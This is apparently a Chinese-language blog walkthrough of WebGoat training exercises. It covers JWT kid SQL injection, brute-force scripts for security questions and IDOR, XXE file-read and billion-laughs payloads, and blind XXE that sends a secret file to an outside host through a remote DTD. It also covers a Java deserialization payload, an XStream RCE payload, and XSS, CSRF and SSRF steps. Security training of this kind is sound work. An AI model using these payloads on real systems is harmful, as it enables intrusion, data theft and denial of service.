eyJ0eXAiOiJKV1QiLCJraWQiOiJ3ZWJnb2F0X2tleSIsImFsZyI6IkhTMjU2In0.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsInVzZXJuYW1lIjoiSmVycnkiLCJFbWFpbCI6ImplcnJ5QHdlYmdvYXQuY29tIiwiUm9sZSI6WyJDYXQiXX0.CgZ27DzgVW8gzc0n6izOU638uUCi6UhiOJKYzoEZGE8

在这里插入图片描述

我们直接用正确答案进行debug,因为不看源码,这道题我是没做出来,先来看看token,这是我通过head+payload+key生成的token

eyJhbGciOiJIUzI1NiIsImtpZCI6Iic7c2VsZWN0ICdNUT09JyBmcm9tIGp3dF9rZXlzIC0tIiwidHlwIjoiSldUIn0.ew0KICAiRW1haWwiIDogImplcnJ5QHdlYmdvYXQuY29tIiwNCiAgIlJvbGUiIDogWyAiQ2F0IiBdLA0KICAiYXVkIiA6ICJ3ZWJnb2F0Lm9yZyIsDQogICJleHAiIDogMTY3NDI0NDY2NSwNCiAgImlhdCIgOiAxNjY0MjQ0NjY1LA0KICAiaXNzIiA6ICJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLA0KICAic3ViIiA6ICJqZXJyeUB3ZWJnb2F0LmNvbSIsDQogICJ1c2VybmFtZSIgOiAiVG9tIg0KfQ.PwYtJMvV0LukFSZPzuj6Z-Ngk2uIATpCyB9HjuXteCQ

在这里插入图片描述

发送这个请求

在这里插入图片描述

我们大致分两个部分,第一个部分为断点1-2,也就是解析token,获取key

代码略微复杂,一行一行来说吧

83行,这里获取token
84-86行,如果token为空直接返回了,我们给了token所以不会return
89-103行,注意这里,调用了setSigningKeyResolver()方法,而参数是new SigningKeyResolverAdapter(),也就是SigningKeyResolverAdapter的一个对象,这个对象的构造函数的参数又是一个方法也就是91-102行之间的内容,不过这里不理解也无伤大雅,只需要知道这里主要做的就是通过数据库拿到key,通过key解析我们发送的token
94行,会执行"SELECT key FROM jwt_keys WHERE id = '" + kid + "'"在数据库里查询key(图在下面),而正常的token中kid是webgoat_key,所以这里正常我们不改token生成时header里面的kid,应该拿到的qwerty1234qwerty1234,但是紧接着看下面
95-97行,可以理解为在数据库中查到了的话,就通过base64解码,这就有问题了,就算我们在生成token的时候把secret key写成qwerty1234qwerty1234也没用,这里要解码,数据库里是明文,所以这里只能通过SQL注入改变这条语句的结果,也就是第一个我们要改的地方当kid为"';select 'MQ==' from jwt_keys --",这里会执行select 'MQ==' from jwt_keys这句的结果也就是MQ==,那么96行就会返回MQ==的base64解码,也就是1,我们当时对token进行签名的时候用的secret key就是1,当然这里用什么都行,但是要是生成token的key要对上,并且这里select后要跟base64编码后的

执行完后,token解开,secret key为1,也和我们当时键入的1对上了,就会往下进行

在这里插入图片描述

在这里插入图片描述

这里就简单了
108行,获取username
112行,只要是Tom就会返回success

在这里插入图片描述

Password reset

Email functionality with WebWolf

密码重置/忘记密码功能很常见了,平时很多软件都需要邮箱验证

这里点击忘记密码后随便填个邮箱,他会发送邮件到webwolf

在这里插入图片描述

告诉我的密码

在这里插入图片描述

再登录就可以了,这应该是功能验证

在这里插入图片描述

Security questions

又是安全问题验证

我的账户是webgoat,颜色是red

在这里插入图片描述

这里回答问题没有锁定机制,也就是说我可以随便试别人的

响应只要不是Sorry the solution is not correct, please try again.就都当成试错

在这里插入图片描述

直接上python

"""
        COLORS.put("admin", "green");
        COLORS.put("jerry", "orange");
        COLORS.put("tom", "purple");
        COLORS.put("larry", "yellow");
        COLORS.put("webgoat", "red");
"""
import requests
import time

url = "http://localhost:18080/WebGoat/PasswordReset/questions"
headers = {
    'Cookie': 'JSESSIONID=URYEJEy-dV0Ls6go3yihq_8zf-a7hDjO-FpdiUf-'
}

start = time.time()
request_count = 0

with open("./username_list.txt", "r") as usernames:
    for username in usernames:
        username = username.strip()
        with open("./color_list.txt", "r") as colors:
            for color in colors:
                color = color.strip()

                data = {
                    'username': username,
                    'securityQuestion': color
                }

                # print(data)

                rsp = requests.post(url=url, headers = headers, data=data)

                # print(rsp.content.decode('ascii')['feedback'])
                rsp_content = rsp.json()['feedback']
                request_count = request_count + 1
                if "Sorry the solution is not correct, please try again." not in rsp_content:
                    print(data)
                    break
end = time.time()

print(f"共耗时:{end - start}, 共发送请求数{request_count}")

username_list.txt

admin
tom
larry

color_list.txt

green
orange
purple
pink
red
blue
gray
black
white
yellow

在这里插入图片描述

The Problem with Security Questions

列举了很多常见重置秘密中出现的问题,当然,每一项点check的时候都会告诉我们有什么坏处,看两个就过关了

在这里插入图片描述

Creating the password reset link

使用忘记密码功能,改tom的密码

先对我当前账号试一下

[email protected]

在这里插入图片描述

webwolf收到邮件

在这里插入图片描述

点击link发现重置密码的功能

既然又是越权这种,那肯定要找代表身份的信息,把我们的换成tom的

URL上的那一串最像是代表身份的,如果把这一串换成tom的,是不是就直接越权了

在这里插入图片描述

但是tom的ID哪来,一共就两个请求,一个是登录,一个是重置密码,我们把邮箱填写成tom的试一下

[email protected]

点了几百下,在webwolf中什么也没有

在这里插入图片描述

只能提前进入debug了,这里有个小心机,是从host里拿服务器的IP和端口,然后调用接口发,而我的webwolf是19090,显然这里要改host

在这里插入图片描述

改完host,在webwolf的请求栏中发现请求

在这里插入图片描述

响应里带了重置密码的url,这个id应该就是tom的,并且这道题说的就是重置密码可以不过期无限用

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

Secure Passwords

How long could it take to brute force your password?

这题挺有意思的,列举了很多弱密码,让我们输入密码会显示输入密码的强度以及爆破需要多久

在这里插入图片描述

(A3) Sensitive Data Exposure

Insecure Login

不安全的登录,其实说白了就是登录的时候,应用层没有把密码加密,现在一般都采取应用层密码加密+链路层HTTPS

点击log in抓包,获取明文密码,这就中间人攻击了

CaptainJack
BlackPearl

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

(A4) XML External Entities (XXE)

XXE

XXE是对XML文件的注入,其实严格意义上可以算为注入类,不过这类漏洞几乎很少见,首先XML一般都是作为配置,很少作为存储并且还和用户进行交互,其次,就算如此,就算拿到源码,也没有那么容易能发现,XXE在我心中和反序列化难度大差不差吧

Let’s try

<?xml version='1.0'?>
<!DOCTYPE demo[
  <!ENTITY var SYSTEM "file:///c:/">
]>
<comment><text>&var;</text></comment>

在这里插入图片描述

这一道题一定要从源码来看,在进入debug模式之前,我们先来了解一下按位或运算

按位或运算也是位运算中的一员,感兴趣位运算的可以单独研究,我们这里进行简化

a = True
b = False

a |= b
print(f"a = True, b = {b}, a |= b = {a}")

a = True
b = True

a |= b
print(f"a = True, b = {b}, a |= b = {a}")

a = False
b = True

a |= b
print(f"a = False, b = {b}, a |= b = {a}")

a = False
b = False

a |= b
print(f"a = False, b = {b}, a |= b = {a}")

a |= b可以看做 a = a | b,所以a |= b就是把a和b按位或后赋值给a,要改变a的值,使用python看看结果

从结果不难看出

1.只要a,b中有一个为true,那么不用比了,一定为true

2.结果会覆盖a的值,所以我在print的时候,a = 后面的我只能写死

在这里插入图片描述

有了这个基础,再看源码,就会非常简单

先看点击提交后的请求,乍一看不是我们正常的键值或者json格式的数据,类似html,当然都是文本标记语言,这是xml的语法

在这里插入图片描述

既然参数是xml语言,那么我们就可以修改xml,类似于sql注入一样,改变其执行逻辑

下面请求在17行会定义一个变量,变量名为var,值为file:///c:/Windows/System32/drivers/,也就是drivers目录

19行会引用这个变量,类似php里面的 $var这样

不要把这想的太复杂,定义变量,引用变量,完事

在这里插入图片描述

进入debug

首先注意第76行的parseXML(),解析用户提交的这边xml参数,并且解析前没有校验,这就导致用户可控

那么解析后把解析的值赋值给comment,此时comment的值就为file:///c:/Windows/System32/drivers/的结果,也就是drivers目录下的文件夹

在这里插入图片描述

在这里插入图片描述

再观察80行,如果想返回success,那么79行的checkSolution(comment)要为true,接着我们进入checkSolution()方法,传递的参数就是comment也就是drivers目录下面的文件列表

在这里插入图片描述

先看89行的directoriesToCheck变量,这个变量的值是一个三元运算符,由于牵扯到了另一个类,并且看名字也能看出来,我webgoat是部署在windows的,结果大概也会和windows相关

这里简化,只需要知道三元组的运算结果就是变量DEFAULT_WINDOWS_DIRECTORIES,也就是说directoriesToCheck = DEFAULT_WINDOWS_DIRECTORIES,而DEFAULT_WINDOWS_DIRECTORIES在本类55行定义了

在这里插入图片描述

在这里插入图片描述

也就是说directoriesToCheck 的值为数组

{"Windows", "Program Files (x86)", "Program Files", "pagefile.sys"};

91行foreach遍历的也就是directoriesToCheck ,而directory的值就是数组的每个元素了

92行是重点引入了按位或运算并且复制给了success,success初始值在90行定义为false,按位或只要有一个为true,结果就为true

后面的org.apache.commons.lang3.StringUtils.contains(comment.getText(), directory);执行结果为什么呢

comment.getText()的内容为drivers下所有文件名,directory在第一次循环,是directoriesToCheck 的第一个元素,也就是Windows

可以看到drivers目录下的WindowsTrustedRT.sys是包含Windows,也就是第一次循环后,success的值就为True了

在这里插入图片描述

在这里插入图片描述

那么,再从第二次循环往后根本不用再看了,success再也没有机会为false了

在这里插入图片描述

success为true,返回的自然为true,那么自然也会到80行

在这里插入图片描述

所以本题的关键就在于

1.要加入xml的声明,名字无所谓demo都行
2.在声明中定义变量var,var的值要得是一个file协议能读出来的目录,并且目录中要有54/55行给出的关键字
3.在xml正文中引用这个变量var

在这里插入图片描述

Modern REST framework

提示我们注意json格式的数据

在这里插入图片描述

抓个包看看,这次聪明了,不让用户提交xml格式的数据库,其实修复到这个程度,确实能掩人耳目,因为很少见过直接在这里试xxe的,可能有些工具会带有这种请求吧

在这里插入图片描述

换成上一节的答案xml试试

哦了,这里要注意,请求体参数改了,代表参数类型的Content-Type别忘了改

在这里插入图片描述

看看源码吧

有了上一节的基础,再看源码,就简单了,先拿到Content-Type,如果是json就进入第一个if,不是就进入第二个if,第二个if的代码和上一关基本一样

在这里插入图片描述

XXE DOS attack

xxe的dos了解一下,引用了变量lol9,lol9又引用了10个lol8,如此就达到了消耗资源的效果

<?xml version="1.0"?>
<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ELEMENT lolz (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

Blind XXE assignment

既然是注入,就有盲注

题目要求很简单,让我们读取本地文件的内容

在这里插入图片描述

我这里是

c:/Users/779491240/.webgoat-8.2.1-SNAPSHOT/XXE/secret.txt

那简单啊

直接构造payload,可想而知,失败了

<?xml version='1.0'?>
<!DOCTYPE demo[
  <!ENTITY secret SYSTEM "file:///c:/Users/779491240/.webgoat-8.2.1-SNAPSHOT/XXE/secret.txt">
]>
<comment><text>&secret;</text></comment>

在这里插入图片描述

既然是盲注,根本没有这么简单

看看代码我们是怎么失败的

secret内容如下

在这里插入图片描述

查看源码

只有满足81行条件的时候,才回返回82行的success,那么也就是说用户提交的内容里面包含CONTENTS时才success,CONTENTS的内容在58行定义,可以看到每次访问,先看存不存在,不存在就把CONTENTS的内容写在secret.txt,也就是我们上面看到的内容

那么问题来了,我们怎么获取这个secret.txt的内容呢,刚刚的payload是读取secret.txt,但是读取完后,就没了啊,这也没有回显,我咋知道内容是什么

在这里插入图片描述

题目提示了,这关要利用webwolf

1.先把这个secret读出来,保存在变量中

2.在xml里远程包含webwolf的dtd文件,这个dtd文件主要是向webwolf发送请求,而请求就是一个简单的get,但是要把secret作为参数发送给

3.在webwolf里查看请求记录

其实webwolf就充当了个web站点,没有那么高深,随便php或者python开个web站点,也是没有问题的,明白原理后,我们先完善第2步

使用创建attack.dtd,并使用python2开放web站点(我在webgoat以外的站点部署:192.168.174.134)

这个dtd就是给自己发请求,然后当被远程包含的时候,就会执行

<!ENTITY % write "<!ENTITY send SYSTEM 'http://192.168.174.134:8000?text=%file;'>">
python -m SimpleHTTPServer

在这里插入图片描述

更换payload引入这个dtd,这段payload先拿到secret,然后引入174.134上的attack.dtd,把secret发送到174.134

<?xml version="1.0"?>
<!DOCTYPE demo [
    <!ENTITY % file SYSTEM "file:///c:/Users/779491240/.webgoat-8.2.1-SNAPSHOT/XXE/secret.txt">
    <!ENTITY % getdtd SYSTEM "http://192.168.174.134:8000/attack.dtd">
    %getdtd;
    %write;
]>
<comment><text>&send;</text></comment>

在这里插入图片描述

可能会报异常之类的,但是我们在174.134上已经收到了get请求,把%20url解码空格

在这里插入图片描述

WebGoat 8.0 rocks... (cmXQnOKHOy)

在这里插入图片描述

做到这里我是有疑问,为什么非要远程包含dtd,为什么不直接在payload里面加上发请求,比如

<?xml version="1.0"?>
<!DOCTYPE demo [
    <!ENTITY file SYSTEM "file:///c:/Users/779491240/.webgoat-8.2.1-SNAPSHOT/XXE/secret.txt">
    <!ENTITY send SYSTEM 'http://192.168.174.134:8000?text=%file;'>
]>
<comment><text>&send;</text></comment>

其实是不行的,webgoat在10节的时候也说了,应该是不支持这种语法,我试了,当我们发送的时候,解析不出来,会抛出异常

<?xml version="1.0"?>
<!DOCTYPE demo [
    <!ENTITY % file SYSTEM "file:///c:/Users/779491240/.webgoat-8.2.1-SNAPSHOT/XXE/secret.txt">
    <!ENTITY send SYSTEM 'http://192.168.174.134:8000?text=%file;'>
]>
<comment><text>&send;</text></comment>

在这里插入图片描述

这里收到的请求也没有解析出来

在这里插入图片描述

(A5) Broken Access Control

Insecure Direct Object References

Authenticate First, Abuse Authorization Later

先认证,后授权,显然又是逻辑类漏洞

输入tom/cat,认证通过,进入下一章,应该就是授权的逻辑漏洞了

在这里插入图片描述

Observing Differences & Behaviors

这个题应该主要是响应中的敏感信息泄露了

点击页面上的View Profile,可以列出我在上一节登录的cat用户的信息,但是如果抓包的话,还可以看到id和role

在这里插入图片描述

在这里插入图片描述

题目就是让我们抓包比较,列出这两个页面上没有的字段,记住这两个属性,竟然把这么敏感的字段作为响应

role,userId

在这里插入图片描述

Guessing & Predicting Patterns

猜测权限校验方式,既然是先认证,再授权,我们这时候把目光再移动到第2关,在第2关我们输入了tom/cat通过了认证

可以看到,只要用户名密码通过了验证,就把username和id存放在session里,即

idor-authenticated-as:tom
idor-authenticated-user-id:2342384

在这里插入图片描述

在第3关,我们获取了响应里面的userid,也就是2342384

{
  "role" : 3,
  "color" : "yellow",
  "size" : "small",
  "name" : "Tom Cat",
  "userId" : "2342384"
}

所以session里面键idor-authenticated-user-id对应的值就是2342384

有了这个基础,再来看这一关的授权代码

在这里插入图片描述

点击Submit后,虽然结果是failed,但是看代码不难看出

47行、49行,先拿到上面说的session里存储的username和id

51-52行,把我们提交的post请求体里面的url参数进split(“/”),我们提交的是WebGoat/自然长度不够返回failed,所以要想经过52行的判断,split后,要有下表0、1、2、3,也就是4个数据,并且下标为3的第四个数据还要和session里面id保持一直

在这里插入图片描述

构造如下

WebGoat/IDOR/profile/2342384

在这里插入图片描述

Playing with the Patterns

既然上一节已经知道了,是通过参数后跟id进行越权,那我们试着找到别人的id

下图中两个请求进入的controller都是一样的

在这里插入图片描述

直接访问都返回的500

在这里插入图片描述

试一试我们之前拿到的2342384

webgoat让我们找找别人的配置,那就是根据id越权查看别人的配置,话不多说,开始爆破

在这里插入图片描述

试了一下,不存在的id,都会返回500,那我们就以响应状态码为200,作为特征

在这里插入图片描述

上python,这里我需要看一下源码,缩小了爆破的范围,不然确实30万条不知道猴年马月了

import requests

headers = {
    'Cookie':'JSESSIONID=xcxvBSuzERujBEpW_M_pnZgjpkD9uZZPR5eubaYL'
}

for id in range(2342384, 2342390):
    url = f"http://localhost:18080/WebGoat/IDOR/profile/{id}"
    rsp = requests.get(url=url, headers=headers)

    status = rsp.status_code
    if status == 200:
        print(f"{id} 存在")

在这里插入图片描述

拿到2342388

在这里插入图片描述

在这里插入图片描述

Missing Function Level Access Control

Relying on Obscurity

让找隐藏数属性

在这里插入图片描述

那只能搜hidden了在这里找到一对Users和Config

在这里插入图片描述

在这里插入图片描述

既然都是其中一个url在下一关有用,那就记住

/users
/config

Just Try It

让我们输入用户的hash

在这里插入图片描述

点击Submit看看请求吧

在这里插入图片描述

确实无从下手

只能看页面上的提示了,先看简单的方法,第四句和第五句说让我们尝试访问/users,并且改成json的

There is an easier way and a 'harder' way to achieve this, the easier way involves one simple change in a GET request. 
If you haven't found the hidden menus from the earlier exercise, go do that first. 
When you look at the users page, there is a hint that more info is viewable by a given role. 
For the easy way, have you tried tampering the GET request? Different content-types? 
For the 'easy' way, modify the GET request to /users to include 'Content-Type: application/json' 

果然一下就出来了,列出了注册的所有用户的hash值

在这里插入图片描述

在这里插入图片描述

还有个难的方法呢?

Now for the harder way ... it builds on the easier way 
If the request to view users, were a 'service' or 'RESTful' endpoint, what would be different about it? 
If you're still looking for hints ... try changing the Content-type header as in the GET request. 
You also need to deliver a proper payload for the request (look at how registration works). This should be formatted in line with the content-type you just defined. 
You will want to add WEBGOAT_ADMIN for the user's role. Yes, you'd have to guess/fuzz this in a real-world setting. 
OK, here it is. First, create an admin user ... Change the method to POST, change the content-type to "application/json". And your payload should look something like: {"username":"newUser2","password":"newUser12","matchingPassword":"newUser12","role":"WEBGOAT_ADMIN"} 
Now log in as that user and bring up WebGoat/users. Copy your hash and log back in to your original account and input it there to get credit. 

这里直接看源码吧,否则会有点难受,之前提示我们的URL为/users,在这个controller

MissingFunctionACUsers.java

可以看到这个/users对应了get和post两种方法

get的话,是直接列出了所有用户的hash

post,是将提交的参数作为用户信息再与数据库交互(UserService userService)写入数据库

所以这道题困难的部分就是我们先发post,创建一个账号,在通过get /users获取,其实没差

在这里插入图片描述

提交的内容如下

{"username":"newUser2","password":"newUser12","matchingPassword":"newUser12","role":"WEBGOAT_ADMIN"} 

(A7) Cross-Site Scripting (XSS)

Cross Site Scripting

又到了我们最快乐的XSS了

让在控制台执行js代码,js = 客户端 = 浏览器,浏览器自然随意执行js了,使用js获取当前的cookie,然后提交这个表单

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

直接在url地址栏输入伪协议和直接在控制台执行js函数,拿到的cookie一样,因为浏览器没有变,而且webgoat也是登入状态,所以cookie都一样,自然也都是webgoat的,输入yes过关

javascript:alert(document.cookie);

在这里插入图片描述

Try It! Reflected XSS

反射型XSS

可以看到,当点击Purchase时,card被回显到了页面上,并且是在标签外

在这里插入图片描述

直接就加个标签,输出cookie

<script>alert(document.cookie)</script>

在这里插入图片描述

响应里也可以看出回显的信息

在这里插入图片描述

看下源码,只要我们提交的内容含有script标签,标签内容为alert或者console都可以

在这里插入图片描述

但是这个反射型的XSS貌似没法利用,我把webgoat设置成可远程访问,就是搭建的时候修改ip

直接访问提交表单,根本没法输出,所以这块的反射型XSS让我感觉很鸡肋

在这里插入图片描述

Identify potential for DOM-Based XSS

根据提示在GoatRouter.js找路由,这个没啥说的

start.mvc#test

Try It! DOM-Based XSS

这也通过控制台直接执行js,然后就把随机值提交

在这里插入图片描述

这个确实有点简单了,webgoat的xss感觉写的不是那么好,而且还没存储型xss

在这里插入图片描述

(A8) Insecure Deserialization

所有人员请注意,所有人员请注意,java反序列化,他来了,目前来说,反序列化可以说是我最喜欢的漏洞之一,当然这次也要拿出看家本领来,在跟B站蜗牛学苑学完php反序列化后,正愁没地方施展呢,刚好遇见了她,话不多说,反序列化抓住两点,源代码逻辑和面向属性编程,有了这两点,其他一切都是浮云,我们直接看源码

webgoat本意是让我们输入一串经过序列化后的字符串,当然webgoat会把这段字符串进行反序列化,反序列化后,要求时间卡在3-7s内,就算过关
46行,我们输入的字符串是token变量
54行,这里要注意,先把我们输入的token进行base解码,再new ByteArrayInputStream(),再new ObjectInputStream(),最后赋值给了ois,ois就很荣幸的成为了反序列化后的对象了
56行,会调用这个对象的readObject()方法, 后面会用到
55行和63行,记录了这个过程的时间戳,如果时间戳相减在3000-7000也就是3-7s,那就success,代码一般执行快得很都是毫秒级别,所以这就要求我们“拖延时间”,怎么“拖延时间”,我们就要找哪里是可以执行命令/函数的地方,并且用户要可控,看到第56行调用了readObject(),一般来说就要全局搜索这个方法看看有没有参数可控,但是这里在57行已经做了提示了57行,如果一旦57行成立了,那么进入这个if后,不管哪个分支结果只有一个,就是return failed,所以不能让57行成立,也就是readObject()的结果不是VulnerableTaskHolder的对象,既然提到了这个类,我们进去看看

在这里插入图片描述

进入这个类后,可以看到

38行,这个类也有readObject()方法,那如果上面的ois是这个类的对象,就可以执行这里的readObject(),并且这个方法的返回值还未void,岂不是天助我也?
59行,会执行java的exec()方法,这个方法可以执行操作系统的命令,比如exec("ping www.baidu.com"),那么如果里面的参数taskAction可控,我们让他多ping几次,时间不就够了
18行,taskAction不就正是这个类的一个属性吗,我们面向属性编程的时候,把这个属性的值注入了,不就完事了
55行,这里要注意taskAction要以ping或者sleep开头,并且总长度要小于22

在这里插入图片描述

有了这些我们就可以开始payload的构造了,也就是面向属性编程

掏出eclipse看看helloworld能通不,说起eclipse就恼火,当时跑webgoat,优先考虑的是她,结果maven一导入1000多个ERROR

在这里插入图片描述

继续我们的面向属性编程,既然决定要用这个类VulnerableTaskHolder,那我们的杂七杂八的信息要和这个类一样,包名要一样吧,要不到时候反序列化的时候找不到这个类,然后taskAction是我们要赋值的属性,其他的什么toString()方法,别的属性,一概可以不要

在这里插入图片描述

右键创建类,包名一致,类名一致,实现序列化接口,加上主函数,我们一个类搞定

在这里插入图片描述

这就是面向属性编程的魅力,代码就这么点,没有那么多的“长篇大论”

package org.dummy.insecure.framework;

import java.io.Serializable;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.Base64;

public class VulnerableTaskHolder implements Serializable {
    private static final long serialVersionUID = 2;
    
    private String taskAction;
    
    public VulnerableTaskHolder(String taskAction) {
        this.taskAction = taskAction;
    }
    
    public static void main(String[] args) throws IOException {
        VulnerableTaskHolder vuln = new VulnerableTaskHolder("whatwever","ping 1 -n 6");
        ByteArrayOutputStream bOut = new ByteArrayOutputStream();
        ObjectOutputStream objOut = new ObjectOutputStream(bOut);
        objOut.writeObject(vuln);
        String str = Base64.getEncoder().encodeToString(bOut.toByteArray());
        System.out.println(str);
        objOut.close();
    }
}

之前我们先对token进行base解码,再new ByteArrayInputStream(),再new ObjectInputStream(),最后赋值给了ois,ois就很荣幸的成为了反序列化后的对象了,这里就要反着来了,要达到的目的就是把taskAction赋值为ping 1 -n 6,让他ping6次“拖延时间”

在这里插入图片描述

生成一段base64的编码

rO0ABXNyADFvcmcuZHVtbXkuaW5zZWN1cmUuZnJhbWV3b3JrLlZ1bG5lcmFibGVUYXNrSG9sZGVyAAAAAAAAAAICAAFMAAp0YXNrQWN0aW9udAASTGphdmEvbGFuZy9TdHJpbmc7eHB0AAtwaW5nIDEgLW4gNg==

拿去浏览器提交,把这个属性注入之后,ping 当然一堆中文乱码

在这里插入图片描述

我这里是5s多,返回success

在这里插入图片描述

在这里插入图片描述

不管是java反序列化还是php反序列化,一定要抓住面向属性编程这一特点,我们只关注哪些属性能帮我们完成我们的目标,然后一步一步塌下心来,跟踪代码的逻辑,一定可以成功

在这里插入图片描述

(A9) Vulnerable Components

Vulnerable Components

The exploit is not always in “your” code

到了中间件/组件漏洞了,jquery在1.12.0就不能执行script了

在这里插入图片描述

Exploiting CVE-2013-7285 (XStream)

试了好多payload,结果看见说,只有用docker跑的时候才可,那就算了不多花时间了

<sorted-set>
    <string>foo</string>
    <contact class='dynamic-proxy'>
        <interface>java.lang.Comparable</interface>
        <handler class='java.beans.EventHandler'>
            <target class='java.lang.ProcessBuilder'>
                <command>
                    <string>calc</string>
                </command>
            </target>
            <action>start</action>
        </handler>
    </contact>
</sorted-set>

在这里插入图片描述

(A8:2013) Request Forgeries

Cross-Site Request Forgeries

直接点击提交查询,什么也查不到

在这里插入图片描述

在这里插入图片描述

使用bp的csrf poc

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

输入flag

在这里插入图片描述

看看源码吧,当我们直接访问页面,不通过csrf时

会比较Host和Referer

在这里插入图片描述

两个一样,说明没有跨域flag为空

在这里插入图片描述

如果是通过burp构造的poc来的,那Referer自然就是bp的了

这也就引入了一个跨站请求伪造的特点,跨域

在这里插入图片描述

在这里插入图片描述

Post a review on someone else’s behalf

已经知道原理了,我们随便抓个包,把Referer改的不一样就好了

在这里插入图片描述

CSRF and content-type

这个和之前题目唯一不一样的就是需要把content-type改为text的

在这里插入图片描述

直接上代码

这里如果想要78行为true,那么75行就要为true,因此,74行的hostOrRefererDifferentHost(request)、75行的requestContainsWebGoatCookie(request.getCookies()) && request.getContentType().contains(MediaType.TEXT_PLAIN_VALUE)都要为true

hostOrRefererDifferentHost(request)在93行定义,也就是判断Referer是否包含Host,这个通过bp就可以解决,或者我们自己改成不一样的

requestContainsWebGoatCookie(request.getCookies())是要保证我们登录了,因为csrf就需要被攻击的用户在浏览器是登录状态

request.getContentType().contains(MediaType.TEXT_PLAIN_VALUE)保证我们的content-type为MediaType.TEXT_PLAIN_VALUE,而MediaType.TEXT_PLAIN_VALUE就是text/plain

在这里插入图片描述

分析完源码以后,我们这样处理

请求体无所谓不用改,把content-type改成text的,然后直接上poc了

在这里插入图片描述

发现总会报个异常

在这里插入图片描述

原来是webgoat在我们修改后,自动加个=,真是煞费苦心啊

在这里插入图片描述

去掉等号,就成功拿到随机值了

在这里插入图片描述

在这里插入图片描述

Login CSRF attack

说实话,这道题,确实有点无力吐槽,登录的csrf,登录确实有可能存在csrf,但是利用率极低,如果都能构造出用户名和密码了,还搞什么csrf,webgoat应该也是想提醒大家,所有提交数据的地方都有可能产生csrf

至于这道题,换个浏览器,创建一个csrf-webgoat登录,点一下solved就过了,csrf-后面的内容要是现有账户的用户名

这道题要是换个注册,用户一点击就注册了一个用户或者换成删除也行

在这里插入图片描述

在这里插入图片描述

Server-Side Request Forgery

Find and modify the request to display Jerry

说完了csrf,也该说ssrf,csrf是客户端请求伪造,通过伪造连接,让客户端点击,ssrf是服务器端请求伪造,伪造请求让服务器帮我们发送,达到内网嗅探的效果

在这里插入图片描述

让获取jerry的,过于简单了,本来是tom的,改成jerry就好了

在这里插入图片描述

在这里插入图片描述

Change the request so the server gets information from http://ifconfig.pro

既然要访问http://ifconfig.pro,那就改

在这里插入图片描述

在这里插入图片描述

看一下源码吧

可以看到,通过webgoat的服务器,向http://ifconfig.pro发送了请求

在这里插入图片描述

Client side

Bypass front-end restrictions

Field Restrictions

客户端可以改js+html,所以一切在客户端也就是前端做的校验,都是可以绕过的

这里看似表单做了很强大的限制,但是我们都可以通过html网页进行html属性的修改,比如最常用的,测sql注入或者xss输入框属性限制长度,直接F12把长度改大,或者bp更直接

在这里插入图片描述

在这里插入图片描述

后台做了这样的判断,很简单只要不再这5个if内即可

在这里插入图片描述

Validation

跟上题一样,前端做了正则也没用

Field 1: exactly three lowercase characters(^[a-z]{3}$)
abc
a-z三位,我们写123

Field 2: exactly three digits(^[0-9]{3}$)
123
0-9三位,我们写abc

Field 3: letters, numbers, and space only(^[a-zA-Z0-9 ]*$)
abc 123 ABC
只存在数字大小写字母,那我们就写!

Field 4: enumeration of numbers (^(one|two|three|four|five|six|seven|eight|nine)$)
seven
只允许1-9的英文,我们写ten

Field 5: simple zip code (^\d{5}$)
01101
5位数字,我们写6位666666

Field 6: zip with optional dash four (^\d{5}(-\d{4})?$)
90210-1111
5位数字-4位数字,我们写5位数字-5位数字,90210-55555

Field 7: US phone number with or without dashes (^[2-9]\d{2}-?\d{3}-?\d{4}$)
301-604-4882 
第一位2-9然后跟2位数字-3位数字-4位数字,我们把第1位改成1

在这里插入图片描述

在这里插入图片描述

Salary manager

我们是Stooge,这个下拉列表可以看每个人的工资,但是下拉列表里没有ceo Neville 的工资信息,让我们找出他的工资,我在下拉列表换了几个人后,发现一个请求都没有发,只有一个可能,这些信息提前存储在html中也就是客户端,只是以隐藏的方式出现

在这里插入图片描述

搜一下Neville,填入

在这里插入图片描述

在这里插入图片描述

No need to pay if you know the code …

0元购手机,这道题要进行js的debug了

在这里插入图片描述

前面我们都是在后台java处debug,前端的js也有执行逻辑,所以也有debug

我们目标是要获取免费的checkout,在页面里搜checkout效果不大,使用360或者chrome浏览器打个断点看看

在金额这里,邮件打个断点,然后随便写checkout点提交,跟踪js

在这里插入图片描述

接下来就是一下下一步,并且每个js里面都搜索checkout

在这里插入图片描述

最终在VM开头的js中找到了这个关键字,这里给了我们个URLclientSideFiltering/challenge-store/coupons/

在这里插入图片描述

访问一下拿到get_it_for_free

在这里插入图片描述

在这里插入图片描述

HTML tampering

Try it yourself

1台电视机2999,

在这里插入图片描述

让我们以更少的价格买多台

在这里插入图片描述

